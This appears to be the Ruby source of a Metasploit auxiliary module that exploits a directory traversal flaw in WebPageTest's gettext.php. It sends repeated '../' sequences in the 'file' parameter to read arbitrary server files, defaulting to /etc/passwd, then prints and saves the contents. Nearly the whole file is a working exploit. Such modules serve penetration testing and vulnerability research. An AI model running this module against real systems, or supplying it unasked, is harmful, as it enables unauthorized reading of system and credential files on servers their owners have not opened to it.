79 lines
2.2 KiB
Ruby
79 lines
2.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WebPageTest Directory Traversal',
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'Description' => %q{
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This module exploits a directory traversal vulnerability found in WebPageTest.
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Due to the way the gettext.php script handles the 'file' parameter, it is possible
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to read a file outside the www directory.
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},
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'References' =>
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[
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['EDB', '19790'],
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['OSVDB', '83817']
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],
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'Author' =>
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[
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'dun', #Discovery, PoC
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'sinn3r' #Metasploit
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Jul 13 2012"
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),
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OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),
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OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
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], self.class)
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deregister_options('RHOST')
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end
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def run_host(ip)
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file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
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traverse = "../" * datastore['DEPTH']
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uri = normalize_uri(target_uri.path)
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base = File.dirname("#{uri}/.")
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print_status("Requesting: #{file} - #{rhost}")
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res = send_request_cgi({
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'uri' => "#{base}/gettext.php",
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'vars_get' => { 'file' => "#{traverse}#{file}" }
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})
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if not res
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print_error("No response from server.")
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return
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end
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if res.code != 200
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print_error("Server returned a non-200 response (body will not be saved):")
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print_line(res.to_s)
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return
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end
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vprint_line(res.body)
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p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
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print_good("File saved as: #{p}")
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end
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end
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